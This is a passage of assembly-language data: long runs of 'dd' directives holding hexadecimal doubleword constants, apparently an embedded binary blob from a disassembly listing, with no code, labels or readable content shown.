839DD449h, 48FECBD2h, 5EAFDD1Dh dd 726AB5C0h, 0FEA0D7h, 0A38D2C39h, 0D6412644h, 0C736200h dd 0B9CC6980h, 0E4B6030Ah, 7AA8F28Bh, 0F7DB00EDh, 1EF342FCh dd 3EF55400h, 0D580AD64h, 76E83950h, 0FD7E3B8Bh, 0DB39A681h dd 6022DCC1h, 110E2B00h, 0A5EE456Bh, 0B2CD00AEh, 29339A4h dd 633B78CFh, 0C21F8060h, 0C816D23Fh, 8330E86h, 0C5636BB5h dd 223F483Ah, 45ED80A2h, 3EB94604h, 0C7FB09EBh, 28859EFDh dd 0FAC580A0h, 0F7E6DB85h, 95E206EAh, 375DC800h, 0CADECEAAh dd 423805DFh, 80B53525h, 416C61B1h, 76865800h, 0AC0A5DD3h dd 0E4E5014Fh, 3EF3B324h, 7992F466h, 0B793C500h, 987445AAh dd 3DCE0019h, 0AC815F71h, 35F8B518h, 32102C00h, 0E099D989h dd 9D5000F1h, 0FD28419Ah, 6F004D20h, 0A0155B6Dh, 3FCD1CACh dd 86811797h, 65887550h, 0F908D864h, 1D58C00h, 1C72AB2Ch dd 0F3A00084h, 0A717D4BBh, 400E35Dh, 0E1EAC3A3h, 16738CAAh dd 0AC79986Dh, 6C4008Eh, 37A164A5h, 33C0BFC8h, 560043AFh dd 0CF42DDFBh, 706EBFA4h, 3CBB002Fh, 0E58A6CD5h, 86000EDAh dd 9EC3C509h, 5079CFh, 0FD996B9Ch, 0DB02B83Bh, 68F0AC06h dd 38DFE6h, 4AA3FE72h, 0B0FA792Ch, 7FF2D606h, 210139h dd 75CA5A1Ah, 0F595387Bh, 0F0B45F1Fh, 0DF8BF405h, 0B0D7C880h dd 13F900C0h, 5FCC762Fh, 0A9754B96h, 11EE2E00h, 7CAB4DA2h dd 1529001Eh, 0A35781F5h, 4C00E07Fh, 694E9C14h, 0E01A0799h dd 66A01A7h, 68B7B3FAh, 38D1301Dh, 53DC8D00h, 954CAC57h dd 5DEA00D8h, 0F5021F63h, 3F3A1C66h, 0CA2993F9h, 0C3073507h dd 67D79CB0h, 10BE4CCh, 4DB6906Bh, 0FC2BDF13h, 0AB0782A5h dd 0A37841E4h, 0C8A7BD0h, 0D0240547h, 42CC48Ch, 0C0EC12ECh dd 0C5A3EBE7h, 7870B503h, 0A9149EFCh, 2860814Ch, 0F6A70008h dd 3025374Eh, 0F4004038h, 699360A1h, 711BFA03h, 77650381h dd 21DB519Ah, 0E0BFB4FBh, 3F5BD127h, 769EB500h, 0DBF48052h dd 92D83E40h, 0D57B005h, 0FEE98097h, 0ED3B96C7h, 580074D2h dd 28863526h, 22147Ch, 0BABB54BFh, 0ED77E81Ch, 0ACD89001h dd 3D16CB50h, 27DC4h, 0DBA8A3E7h, 20D75117h, 9DBC4400h dd 0D04522F8h, 604EC58h, 0E588A84Bh, 0B5006060h, 96870CBDh dd 75A49CEh, 0FD54A4AAh, 0FF1DE08Dh, 7000E667h, 2877593Ah dd 0B049B6FCh, 56C00F7h, 0D7359DC1h, 5C07ACC0h, 19AAB52Bh dd 79A8DB00h, 67FD1921h, 0FCEC3082h, 5A011556h, 37F3DCCEh dd 89DD1073h, 0D4400921h, 0B3D30h, 248A4A66h, 0E98CED94h dd 95D72200h, 0F75834B9h, 0E3643EC3h, 20683C00h, 0F94213B3h dd 676BC818h, 7F728310h, 19700676h, 0B88B5C47h, 2B4EE900h dd 93BAA237h, 0A77200F0h, 0AAAF74B7h, 5E0A16CDh, 0B87CE48Ch dd 69677D80h, 4A47506h, 135D9A1Ah, 0CB30D016h, 0EC0FF08Ah dd 8F7F17h, 1E8D1A18h, 8E2E009Ah, 9F9CB04Ah, 0AF260C6Dh dd 0BF00B77Bh, 0CC42E722h, 23B2003Ah, 1E0AC0D9h, 12B0FCF8h dd 0D5AA1124h, 9B6E4D00h, 28E7F9AEh, 0CC8AA1h, 7832A758h dd 0F14EE1C7h, 39030D72h, 4A3610BEh, 0E081C3B5h, 78119F8Dh dd 0BC21C049h, 5B7996BAh, 97637C00h, 7F355E60h, 992B0A06h dd 8030304Eh, 446151BAh, 7854EBA5h, 18307680h, 6C25212Dh dd 0A098001Fh, 0C90B9656h, 0D45C022Eh, 0BEE6001Ch, 4494708Ah dd 7F990083h, 3098D64h, 9A002610h, 0EDBEDBBBh, 24DCD6h dd 5473814h, 86AAFA93h, 9CEA6A07h, 0A1604BDDh, 0A64D9Ah dd 8A32D403h, 0FF4237A8h, 2F53D300h, 2613295Eh, 2B11002Dh dd 3B1FE079h, 7A0B1D56h, 800319C2h, 7DEB0D68h, 0AE3D0072h dd 0C1BBA8Fh, 3900E694h dd 194BDCB7h, 416475h, 0EFAB9C4Ah, 0C8B1E40h, 25E830E9h dd 3000D471h, 0C36BB868h, 0A7C517h, 60FCDD72h, 0F7A637EFh dd 87987304h, 0D5C01C18h, 72DFE36h, 0A8052846h, 0A111F33Ch dd 65D88E00h, 4031ED9Dh, 0A9320F15h, 62A085AEh, 0AA455CAFh dd 71B02754h, 7ED1251Ch, 0E6B8420Fh, 181372h, 0CD349826h dd 0E301A54Ah, 8D312561h, 20807BA7h, 294922E6h, 0F10060CBh dd 0E7356ACEh, 3FA9A4A5h, 3F12AFCFh, 0E2F0474Ch, 224F8029h dd 445815FEh, 34AA0E5Bh, 0DB466530h, 9457080h, 0FD31CF42h dd 0D90BCF00h, 0C60086B3h, 7515BCAFh, 1EBAE44h, 0CF859274h dd 0F5176F2Bh, 0D43DE434h, 15085F00h, 0BD64B703h, 59D13EF4h dd 0CEEA450Ch, 5630AD59h, 1AC3C836h, 4F810051h, 0BEA75F27h dd 0B3000868h, 9F7CA1F1h, 0FDD898h, 5C0184DBh, 0C435A7BBh dd 68A56206h, 480D4F2h, 745263Bh, 0C85C9090h, 0EB03DC05h dd 1BB42A4Ch, 8671A8D8h, 933F0001h, 549D2F9Fh, 0FD0CD90Dh dd 38B264E8h, 751000A0h, 89A6950Ch, 4ECA8E6h, 0EA5D8300h dd 0BBACE8F0h, 0B95360ADh, 0DD0F2A0Eh, 0DB316800h, 0DABDB638h dd 6A8B006Fh, 651FFC53h, 0D8023F05h, 8D46D557h, 0F7D8A082h dd 0E55F0Ch, 0AA473CA1h, 0BE4DC396h, 624EC600h, 0E4CAD663h dd 0C361237h, 21040D7h, 54A5436Dh, 0F0201B00h, 0D3A95BEEh dd 10F60EA0h, 0AC2C8ED1h, 11005561h, 611FC55Ah, 12F86EBDh dd 21A0D481h, 32364018h, 64AF03F8h, 1863F39h, 24B42069h dd 0E0D2751Eh, 0C03D170Bh, 0F2E300A0h, 26EB3282h, 62EF01CBh dd 0AD385184h, 0AC48248Bh, 0C9AE8000h, 3F0B107Ah, 4D36EC37h dd 580A482Bh, 8FB45A8Eh, 0F5E309A9h, 0AC885971h, 90016CD6h dd 0CD9902A4h, 0A0FE0761h, 6831E3E4h, 4FD007C4h, 2FBE8FE8h dd 0CEF59F80h, 940657ADh, 66CC537Fh, 2B280031h, 0C5BA3667h dd 0DD74DAEAh, 0F5A38F00h, 8D032CBDh, 4AFA3084h, 63765A90h dd 4559A903h, 0E049E242h, 0CCF1AFh, 81C56C1Ch, 0B5D80F94h dd 0EE1FB800h, 0B737A363h, 74E70177h, 33AA80D9h, 789C508Dh dd 8C01FCF0h, 0BF917D76h, 3C30BC61h, 0FCA665h, 1FCB086Bh dd 9405D336h, 0FBF01700h, 0A010222Eh, 4A51290Ch, 403B9EA8h dd 0DA13C4CBh, 0EB0683FFh, 8980BB25h, 74A52421h, 0BF0503E1h dd 8D9AE63h, 4B8DD4BDh, 8E82B4A8h, 0B6FA2200h, 0F70AE695h dd 5CC9128Fh, 6E4C0213h, 0F1C0811Ch, 532ECBD1h, 140037B5h dd 9E737F19h, 4B63095Ah, 2C10E8FCh, 32009A2Bh, 0D5CF9D94h dd 98F0F4C8h, 1E210008h, 93DEBF2Fh, 0E8189832h, 1CD6CA35h dd 28BF862h, 5DAF7821h, 7864CF05h, 73D0812h, 0E02DE400h dd 5C064028h, 0C413B3D0h, 579006D5h, 42710804h, 9EDAC500h dd 728678D1h, 0E8A0E4EEh, 15AD2A04h, 0C4E100E8h, 2F91BD88h dd 0FA00A269h, 938045CAh, 0FCD03D94h, 92BF0049h, 4CDC1B09h dd 0C673D4ADh, 0CB912E60h, 7CFB804Eh, 64FA0BE8h, 4480D8BFh dd 8A9B120Ah, 5300A67Bh, 35FD5EEAh, 1331F5E8h, 50994C5h dd 272BF637h, 0C0FACCh, 87035F3Ah, 0E12445CBh, 808CB8DAh dd 7C29F1h, 0C914DE6Fh, 623BD794h, 0AE9DB800h, 57BD770Ch dd 0AF3724D2h, 8B720ED0h, 0BA2AA7C3h, 591BA388h, 0A3A38h dd 0E8B836BFh, 24567F1Fh, 8F846751h, 20721BE4h, 2A65B73Ch dd 105F0B00h, 3DCA75F1h, 72AA01F7h, 0CF8478D4h, 80DF210Eh dd 1A1A048h, 0CF19806h, 0C0E302E5h, 51077EB1h, 9A537986h dd 1116698Ch, 0D18E89h, 84DFE27Eh, 1518DE6h, 7149CEEDh dd 809E07A0h, 0D17E2C31h, 138EDD50h, 5FB5C873h, 53E645ECh dd 0D214059Dh, 74CC9FEh, 95C3F0BCh, 0EF00C939h, 0E1CF36C7h dd 0CABE086h, 88B65671h, 54048B39h, 8F33972Eh, 0A1183490h dd 3AC000A8h, 6A0E489Bh, 9E13D079h, 140E2A7Ch, 843632Eh dd 5331008Ah, 0B71C4DBh, 301B114h, 0D5A487D3h, 0E4423AA2h dd 0BE62237Eh, 0F6640A90h, 2EC67503h, 4E285h, 9DAEFF89h dd 0E7BA1405h, 0D2EB6B00h, 972C69DCh, 1F5509FDh, 60058782h dd 3C55C22Bh, 0BC845881h, 711CDC9Eh, 0C2567700h, 34D121E2h dd 0B2700C0h, 721FBD62h, 78700250h, 0D08D7E24h, 64328840h dd 66ED0129h, 1FEFA00Fh, 0E3822AAh, 47DFDACCh, 0C940CFACh dd 5BFD0Ah, 0B76A3D0h, 19E21682h, 0B653C1C0h, 3BEBD5h dd 230A6AC3h, 5B5A76B4h, 541E6700h, 0E86CEAFAh, 0F23009CFh dd 0E400AFB7h, 856A2992h, 651D5101h, 0FE0E0553h, 543546DCh dd 0B509C5Eh, 8B95C620h, 3B9FC023h, 80DF2289h, 9CBE7831h dd 6BC4FA95h, 4008EAE8h, 0CE5201D6h, 72D3AFBDh, 0FC30378Ch dd 470A6FB1h, 7E16181h, 0D870BE06h, 8E15CBA7h, 0B909454h dd 18B0D435h, 845B94h, 0E4C188CAh, 6053EF0Bh, 28008892h dd 0EDA90FD6h, 0AF87E5h, 0CA7D8334h, 5122393Ah, 6480C826h dd 0C8DC7F43h, 98FFCC54h, 41898ACh, 0FCCEFE73h, 0BB60C7D8h dd 7F0A4809h, 38A501F3h, 628E4576h, 0D838C8h, 73B7B306h dd 2ED1F65Bh, 40F4C2D0h, 0A8B57B8h, 0D0A4FFECh, 3C0FD5F6h dd 83ED6B55h, 0F86D6597h, 1D81746h, 0AA16BCB1h, 0DC260F74h dd 37F2804Fh, 49B5C001h, 7345D857h, 2A9E1AF4h, 0E19CF00Ch dd 0F48D140h, 745F0017h, 5CE1EE3h, 0F100D85Bh, 1A9EECDh dd 3F28CAE7h, 0DD1713BDh, 50A800AAh, 7BF22FF0h, 654B380Fh dd 8FEE60BEh, 0AE330FFh, 397D1B60h, 766C0084h, 0A00EA678h dd 0E1F2AD30h, 5BD77F1Bh, 5E839h, 6A069330h, 580D5378h dd 5F10A021h, 0AF8400B2h, 2A6DAD18h, 0AC723A4Ah, 53DDC780h dd 3BE96166h, 2B4430B0h, 3D512E86h, 9E02008h, 0D3092485h dd 0C4051881h, 2C9C2378h, 0FF00FABAh, 0BD339F9Bh, 6503143Ch dd 0F7003C8Eh, 179D24C1h, 8500ABECh, 0AECD5A01h, 1FED7EE8h dd 0C077562Ah, 870272DEh, 8612CADBh, 60007CECh, 24F50B4Bh dd 277D4A26h, 0E9CA7050h, 6E000A1Ah, 2834393Dh, 0F28A875Ch dd 1CF7A3Ah, 4ECA6D31h, 60415A84h, 7300812h, 0AA38416Bh dd 206103A8h, 6AB6549Dh, 5B341926h, 2D129E24h, 44226400h dd 1F3B51C9h, 83655EC5h, 5071B67h, 1741311Fh, 208934C0h dd 0EED82730h, 0EA75F7h, 0B81EE47Fh, 0DB456D53h, 52B01A02h dd 5AF05703h, 90465440h, 0BF7200D4h, 0E56B4162h, 31002C75h dd 33F8AC48h, 25DCDAC2h, 0BA5CB31Ah, 0AAE08500h, 4783D8Ah dd 58AFD421h, 0E2E89147h, 0AD998003h, 0E3780A72h, 0AC731F4Fh dd 0A0E8C327h, 0C0956285h, 36B01030h, 0E8ADD42Eh, 3D724440h dd 13940067h, 0D50B80EFh, 3F0198B8h, 17098F85h, 4420A9DCh dd 0D7070C3Ah, 40C14341h, 7F2032FFh, 484AAE28h, 0F81944h dd 88CB6841h, 49D070D1h, 559C1300h, 309AA0C1h, 82531F83h dd 0FD0A61Dh, 300C6E3h, 0F5199136h, 0BB9D2707h, 4092CC12h dd 9CD8CB22h, 4788A4h, 0DBA21CCFh, 7B48122Ah, 0FFE1EC00h dd 0A649D49Eh, 0B68A0497h, 81BC2DB1h, 73144AA0h, 7AA11E5Ch dd 8AC5CE40h, 0DD953Fh, 4D8D552h, 0A7191E1Ch, 0F1E11705h dd 0C8C0C333h, 0DEA27A5h, 3607C167h, 5746E8E1h, 45447D03h dd 90F52864h, 0C7CC52h, 0D0336ECAh, 36F01AFBh, 20C98726h dd 0FD24800h, 0F8E4C2h, 5F53D425h, 0E388BB4Fh, 8701D009h dd 3DE44418h, 4AE01BF8h, 0CEE5705Ch, 131D2B3Ah, 0C1002411h dd 28CD864h, 0ACA84D30h, 746D0300h, 5A788079h, 5B041709h dd 0CAB082CDh, 39F0C6AAh dd 8B8EA191h, 0A6202559h, 72C53F3Eh, 0E2C3AB14h, 6C8F0340h dd 0E046201Ah, 7D2C03Ah, 0EA57744Bh, 31D54796h, 28AF83FCh dd 9DBC0058h, 4B1E8579h, 0BD173C78h, 0AA867F80h, 0AFDC461Bh dd 9700D8E8h, 3173E70Ch, 0B06BFC12h, 20245860h, 97AB171Eh dd 418C218Dh, 0C96BCCA6h, 31CA720Eh, 0BF63A067h, 517A582h dd 0AD1B806Ah, 98E8402Ch, 0E1B95B96h, 0A3DACF0Eh, 46F201DCh dd 1825458Dh, 5ACDD8h, 0FD865F81h, 9E15A0D8h, 0FE987B00h dd 1743DEE7h, 0E90B4872h, 8068182Ch, 98F05BA9h, 0EA12EE4Bh dd 24D3AD7Ch, 0CC07C848h, 3DA6008Fh, 6F5845Eh, 112C2B6h dd 0DB00EA62h, 0D1DAFC8Bh, 64D41E9Bh, 0BECB870Ah, 28135FA2h dd 16007440h, 5184325Ch, 138C52Eh, 854FD021h, 607C0ECAh dd 63493F04h, 808839B8h, 10986422h, 18E8121h, 11F7F04Bh dd 747AB8E2h, 0CF50BB2Ch, 9F0026B0h, 0B3153085h, 124A51B9h dd 441458D7h, 80F873D8h, 8AF938D2h, 98698F2Ah, 2EDFB90Eh dd 0F6B020E8h, 3A3EEABCh, 0BF804188h, 0A94B3CC8h, 0C8EBAF44h dd 1C01D43Bh, 2B707353h, 2862D836h, 0DDE8B000h, 77B8A2CFh dd 31BC7800h, 0BE4F1C24h, 697F0071h, 54B06607h, 88A863AEh dd 0E9C0F30Ch, 6125E28Eh, 158B0E87h, 3D60743Bh, 0EB19FC07h dd 41473202h, 520AD09Fh, 5EF0C17Ch, 402BA6D7h, 0ECCCDD70h dd 6A80451Bh, 18E4AC59h, 0A13600BCh, 1846166Bh, 121828C7h dd 0FE29F134h, 320A0077h, 0F7A1788Fh, 300D4BEh, 0BE9CFFAh dd 969A718h, 0A09D4B5Fh, 0E8717182h, 90016044h, 0B3882021h dd 3AF081B0h, 85C82DC9h, 0D2711418h, 53A65D0Fh, 61EB86DAh dd 6FD81319h, 8184C4C0h, 0C80B177Ch, 0F4012CCDh, 0CACE5DF5h dd 2C320371h, 7EE9A00Ah, 6C2E8EDCh, 3D2AD982h, 56D7F960h dd 1D83EB1Fh, 1AEF7B47h, 89847759h, 9EE0C83Ch, 9F69606h dd 9E88A0D1h, 22B65038h, 863CE200h, 930FCB5Dh, 1ABE02F1h dd 0ADC48C07h, 0F9009852h, 0A1CCC279h, 9D2109h, 729AFB62h dd 2DC10364h, 0A582F091h, 4050C523h, 93F4CC3h, 8ED917D7h dd 0F86AC4C8h, 1B0AD00h, 5D64EB25h, 0B81A5E20h, 30C724A0h dd 5A1F5342h, 0FDAF01ACh, 79FBFAB0h, 50698Dh, 5D1955DCh dd 4D77ABh, 6BF79AE8h, 0BC997EB0h, 63AC8904h, 90A58E92h dd 2298CECh, 0AFD5FCDAh, 0D19FA6h, 92165B11h, 777432DEh dd 1E08479h, 168D33AEh, 1806334h, 0AA57F48h, 484980F4h dd 9E0EBD2Bh, 4C7A6Bh, 7F44C3A1h, 33AB97C4h, 5A9EF09h dd 91948B10h, 0E03CAFC8h, 0D26B022h, 4780ECABh, 0C4AE68EBh dd 0F10A0088h, 926B4A40h, 0A70BC746h, 80EDE929h, 0AA82724Ch dd 0D18400FBh, 198E6C54h, 8F093A80h, 900CD0ABh, 3A7A5234h dd 859D7B97h, 59ACDAh, 1862BA5Bh, 34987C98h, 0C0BED917h dd 7672D800h, 9CE4457Dh, 0A5AF850Ch, 95AC4519h, 237CB01Bh dd 0D0C9EB09h, 0A01C1876h, 6F040283h, 0B28DC6A8h, 0DED7C07Dh dd 569BE266h, 0A2028040h, 70EA69Ah, 34DF6055h, 0C5C0008Ch dd 0E8863903h, 0AD00EACEh, 50ABFBAFh, 5C9774A8h, 5806EC16h dd 406B0E75h, 7FCE4D00h, 0CD357E6Eh, 3CEC728Fh, 8881F7B8h dd 45693AFCh, 0B9472AAh, 0ADE201h, 0F429143Ah, 5B47017Bh dd 27A00A2Fh, 0DCBE71C6h, 0A862ACD7h, 46EA40A9h, 3647BE8h dd 756A1CDAh, 0D4C3AFF1h, 7846978Ah, 0A066781Fh, 0EAAA9F3Bh dd 750E55C0h, 0D34A38h, 6D1BFB3Dh, 0C8CF86A2h, 25D05901h dd 99549545h, 384C2462h, 56D36D09h, 8A9F6F03h, 0D95CEAC1h dd 3CD4317Bh, 0F890C724h, 13880D83h, 0D79D5311h, 0CEFC9108h dd 423AAh, 6AE72D97h, 624587Eh, 0E2302FFAh, 430031D2h dd 0A2EFF10h, 4C934Dh, 0B8E48CCBh, 52DF207Eh, 1465D224h dd 6B01C703h, 44FA9F9Ch, 0F826AF1Fh, 7D1F3460h, 2DE30E31h dd 5DA02BBAh, 4DCD4070h, 0BB22120Fh, 870520C6h, 6D4D003h dd 33AFF471h, 52005189h, 0E2F5E6DCh, 30A96F7h, 560167D1h dd 0A4F45378h, 40B60C94h, 8A28F780h, 9427A47h, 16BA507Fh dd 0DEBE9000h, 0FE4E01AFh, 2CB02840h, 0B0239D28h, 7DD8B0D0h dd 0E21500E8h, 5648E124h, 0AF25D90Dh, 40F02109h, 0D9BE4380h dd 304AAD16h, 393BE4B8h, 0E552CF02h, 0C1671106h, 63D040F0h dd 0B313279Ah, 23327410h, 0BB157C00h, 65A4184Fh, 0B33011Fh dd 635F401Ch, 8A8BFC4Ch, 2F7558C0h, 0B10905E0h, 282C88h dd 6BE62D2h, 4C0037BDh, 8E9CCEFDh, 38BBC0E8h, 43CB08A6h dd 0CA9EFE6Ch, 0D9DB1888h, 0D3F6C200h, 0D6DEB63Bh, 7A560202h dd 570198ACh, 220470D2h, 0D72774E8h, 2D85DCB0h, 0C8901CAAh dd 7700EF38h, 7AEB8113h, 58D8D2DAh, 31C02C07h, 770FFC99h dd 66DC40EFh, 37024CF6h, 6287A86Eh, 0E06CC48Dh, 7683E0D1h dd 7D170068h, 41E71E01h, 3002F91Ah, 3BD7E03Fh, 80287093h dd 975AFh, 88B41D19h, 0EA0CCAA1h, 8DDDF0A2h, 8428A042h dd 0A6AC809Dh, 0CBF3473h, 41DD100h, 0C2CD29A3h, 4CCE027Ch dd 8D670FF9h, 0F60114C4h, 6F4944F1h, 0F868C205h, 58C8E289h dd 0A80F2F61h, 635EC6B6h, 0F291AC3Bh, 0EAD44073h, 9A4312EBh dd 77240587h, 6564C11Eh, 0A84516h, 0A8C2FC8h, 0D0A4E292h dd 0B19C2000h, 0CC6CF64Dh, 0F44100D7h, 47CA049h, 0D00555BEh dd 0CE1B2EBh, 0E60888h, 540EFCD9h, 0BA41191Ah, 0C879DB00h dd 8BA1849Dh, 517D030Ah, 0D2BCD75Fh, 3709FC0h, 58807C4Ah dd 59A0E7h, 0DBDA7766h, 0DF94EFA9h, 0C5019513h, 44C2DC24h dd 72342019h, 0F5025A75h, 0FA76BE3Eh, 1CBCE09Ah, 4F98ADCh dd 8682B00h, 0E138C8Eh, 7A032144h, 186EAA80h, 5309F68Bh dd 0EA801D90h, 3E4EC078h, 0CB490387h, 0CC07A6D6h, 0BD78E09Dh dd 673D3D78h, 0B6538C04h, 0EC8B91B4h, 0E6980073h, 2C791715h dd 944C549Ah, 7BCE8098h, 74AA2E83h, 0F0455868h, 0CA9553C0h dd 8500B375h, 0B99F5E51h, 0E00A8ABDh, 0A03402BCh, 1EC3E857h dd 0DE003059h, 0A4C97D98h, 0BDF30EBAh, 13C00AFCh, 878A6AB0h dd 796C0730h, 0B971F92h, 11C801A2h, 2D800402h, 0B0947487h dd 5C4B95BEh, 48AA070Fh, 0E4DFE998h, 59D80084h, 810EA370h dd 16002C66h, 18C30C1Bh, 92088D65h, 0FFA40050h, 0B369EA19h dd 9125AFFDh, 0D568683Eh, 1B7902A1h, 0DE80764h, 0AA00F464h dd 3D0BB2D8h, 58ADD415h, 2F3A82C3h, 2CA1C0F2h, 0DA140D09h dd 0F819B300h, 82E7F92Bh, 1B9E2EFFh, 0BD370008h, 150E4188h dd 0F11C6100h, 19118FCEh, 29D8A0BBh, 0BFB26E1h, 584264Ch dd 0F2E305D3h, 0A8490104h, 0A639531h, 0A00CB469h, 0BEE63E07h dd 0E8DAC251h, 760070E3h, 65E27A99h, 123510DFh, 30B77DFEh dd 5CE98280h, 0AE788403h, 0D8CD1F31h, 705B5Dh, 213B186Bh dd 82B4501Dh, 6800A475h, 71067DBBh, 100DADh, 52CD8A92h dd 1A64B798h, 0E33C2000h, 63268708h, 0E2E50168h, 3683B804h dd 0E0F8F55Ch, 0FA00EDAAh, 21581E47h, 0D6D702h, 1794693h dd 6143E4ACh, 0FBADB800h, 0A48339D4h, 0C87B000Fh, 1C3F9EB4h dd 3A1FAB48h, 87F8B950h, 8C749458h, 0D34A7733h, 0BEE9D8CBh dd 8EB0DDD0h, 8220C1BCh, 0CED3B189h, 0D96A7907h, 0C2E8D31h dd 3B1D6010h, 0E9072733h, 4023AFB9h, 4A04F1D8h, 7619F48h dd 88DDC206h, 3914FB80h, 8DB830ECh, 1C35F661h, 0A020A8CEh dd 63C9D46Dh, 0CBD0F34h, 2603997Eh, 0B7901F89h, 60033288h dd 9A90E39h, 83401CBEh dd 0FCBB8C4Ch, 34009D51h, 1EBFAAA2h, 35FC363h, 0A788D0D2h dd 0B9114D5Bh, 0B11805B5h, 64E439D7h, 966FEB00h, 7B84B004h dd 79903Ch, 5D942B21h, 0DE2D31C6h, 3BF12800h, 6D183092h dd 4B550333h, 955C6C4Ah, 0E92D6EA0h, 5A246300h, 0F8599FC1h dd 0C4395476h, 44FC0A9Dh, 409C6B33h, 0EA485DFBh, 22F8780Ch dd 0B82938h, 0FD4A3CFh, 940D9D87h, 754A8206h, 1E399FEDh dd 0D4BB6439h, 0CE007CB0h, 0ABF673D3h, 0D900422Ch, 0DF760EEBh dd 14071F6Ch, 0C8B2FFA9h, 96013A05h, 0B81C07B1h, 89BE1094h dd 0B3B05D16h, 0B3DCC100h, 0FF80124Ch, 0B00B38D3h, 96B2328Ah dd 730880F4h, 38E8C7CBh, 7BF98300h, 184501D3h, 0BD50009Eh dd 0D72B332Ch, 0FF09CCCBh, 280863h, 0B49C7190h, 8CED2806h dd 2E290464h, 40888DECh, 3ACB1E79h, 66E98F1h, 2BE505E7h dd 0BE033113h, 73805CACh, 4232B8ADh, 0ED8E147Ch, 4C1E20B4h dd 0B2844AD7h, 0F2B00CAFh, 90099F19h, 8744FDD5h, 0A3C08B16h dd 42E54Eh, 3718437Dh, 96B09BABh, 861631C0h, 3B277747h dd 3F03B944h, 0DA36892Eh, 0AFF709F8h, 5912F1E8h, 604033CBh dd 0B0768716h, 0BA951EC7h, 51B240C6h, 0F618E06Ah, 58F8F424h dd 7D8EA89h, 72656BEFh, 4DEFA407h, 48C53EF2h, 9AB75000h dd 567C0B18h, 905EFFDDh, 927D3500h, 0E3C038h, 0C87F6DBBh dd 0C69A6125h, 0B8DA3E00h, 820BAD5Ah, 792600D9h, 0BF50F831h dd 51C0AB2Bh, 0D4FC146Bh, 6DC700F1h, 0C00AEDB0h, 0AD3CE16Fh dd 0A35A00EEh, 0FBD7F423h, 0F8D6F0C2h, 0E95D1202h, 0A18000A6h dd 673661ACh, 0D199F630h, 0CC18821h, 0A950F75Bh, 6C391669h dd 0EA6B0090h, 2524562Dh, 8C1200D9h, 32890161h, 8201A055h dd 0EDBB92B8h, 0BC50F38Dh, 5086FCA3h, 108403h, 51704825h dd 12ACA976h, 39C4AA3Fh, 0A1738006h, 0DCB7A31h, 0B14870h dd 4DE82A80h, 3FE2FC5Fh, 2E19A8A8h, 55C86E0Ah, 5C2AC358h dd 5D7888F8h, 293E2533h, 809DDBDFh, 0C01AB097h, 0E35D8C51h dd 6E0098E9h, 0BD965129h, 14AC49h, 0F5687594h, 0D691F33Dh dd 1388013Ah, 8C3034C3h, 578B60h, 2AE1570h, 3BD4C463h dd 215A2A30h, 75D51Bh, 5BC896A0h, 0D4600F3Ch, 0E7EAE201h dd 8FB9ED03h, 141089A4h, 26585CEBh, 0C2FFAF03h, 0C1F6FB82h dd 0E97AE4FDh, 0ECD2C00Bh, 9328069h, 0A2ABBFh, 0DF689070h dd 200D252Dh, 3F67BA13h, 4AC8030h, 0A7EEE6h, 45EA68D2h dd 67BBEC06h, 112BE418h, 273BFB1h, 0FB2FC85Fh, 868910Dh dd 0AD4C05C7h, 0BE3605FCh, 0E0430131h, 0FDB01Dh, 0FBCE2961h dd 67AFDB2Fh, 0A6B6F40Fh, 0D45A20A2h, 24B78F49h, 43206F34h dd 3900A8B0h, 0BB4DBAB3h, 15E18Eh, 622F8D49h, 3C4729CEh dd 0B67B0CF8h, 0C1FE2D03h, 8CF65DB3h, 405B8300h, 0BE02EE4Dh dd 34D074E0h, 1D94A3B5h, 3A318F88h, 6980FEBFh, 4CD1EEAh dd 7500E145h, 0F6EBA00Ah, 909B2817h, 0A254376Ch, 0A483F959h dd 6FA0AC2Eh, 6CB07041h, 2B84E60Dh, 0D3C4C1A5h, 37DB03E5h dd 878C1A46h, 0E445C9C1h, 157F514Eh, 0F031F807h, 62717C58h dd 90CC53B1h, 24AE070Ch, 16499E8h, 0E0FCDE92h, 0FF382D75h dd 235C43Eh, 0AE615433h, 0AAC22732h, 0C1092040h, 0CC51A824h dd 7D0D2340h, 4B9F00B1h, 45B07782h, 9A60F5E8h, 0E32C0621h dd 35DE00DBh, 1C44C95Ah, 306F5A5h, 0F72EADBDh, 22020329h dd 0F3D69F1Bh, 3EBC8100h, 0DDF44A94h, 5F2C004Fh, 23BB4CAEh dd 6E5C495Dh, 685A0360h, 0D8C434DAh, 905D824h, 0BD59F510h dd 0EB55818h, 22DB1300h, 58E31FD0h, 106200B7h, 8D889442h dd 5552AA9Bh, 0DCA050BCh, 82242613h, 53D4EC30h, 9BE4004Bh dd 0BF33EB7Eh, 0B348E5C9h, 3248803Ch, 0B8ED66h, 0E062F3D3h dd 2FE3E660h, 23140301h, 0B72B0143h, 245EE910h, 15402100h dd 0D24C6728h, 8D9701EDh, 73395AEBh, 0C9B47027h, 0BE31B209h dd 48742802h, 6360E780h, 701BD4Bh, 2B3D2944h, 0C2DD307Dh dd 0DB61E89Ah, 1B1ED2C8h, 3ACDB870h, 77094DB6h, 8C808B37h dd 6D76634Bh, 0A8E83C01h, 353331ADh, 7F8B69BAh, 7C0072FCh dd 15FAED4Ch, 0A8ECFB2Ah, 127DD003h, 0D82B37B9h, 719F1E8h dd 62EC284Ch, 0F9E00044h, 59263F0Ah, 0A602E42Fh, 44B1F873h dd 0B358042Ch, 0A52B75A2h, 94C3F858h, 380056E6h, 0EF45A107h dd 2437DCh, 0EE6E5105h, 4181C8D5h, 0D719F819h, 70322549h dd 0F3270C01h, 0C4AA9042h, 0E00825Dh, 0F4C06E46h, 12A083ACh dd 330F61FFh, 0ECF0B7F8h, 82003076h, 0C9A1DE51h, 18BBE63h dd 0C6542C1Fh, 23CF0102h, 7C030064h, 673DF8CCh, 0AAE248B4h dd 0DCB94F1Fh, 57C68015h, 8E0E0716h, 0EE005D7Ch, 0C97E0E3h dd 5CB6303h, 0AD32F0D4h, 0CC68C9CEh, 1D076FF4h, 0F13021EBh dd 378CDA90h, 1EAD9060h, 87D1BE61h, 0D13102ACh, 0CA873484h dd 7E55D090h, 95746807h, 0B374E8B2h, 4726FCD0h, 9D890BDh dd 0F521E29Eh, 0D2F5490h, 0F250E100h, 7543789Ah, 0CFAA0196h dd 9C6E5513h, 32C33D9h, 8AD36369h, 0D8C5B3EFh, 3FC9E95h dd 6D3D5768h, 0B9E02E93h, 290C5134h, 991C2BF1h, 0CB060FBBh dd 476040FAh, 38DD777Fh, 18B8CD39h, 23722F81h, 53FE00E5h dd 962BA1Ah, 3C0BF43Eh, 85A5F8E7h, 9053C803h, 60B8D032h dd 22B2153h, 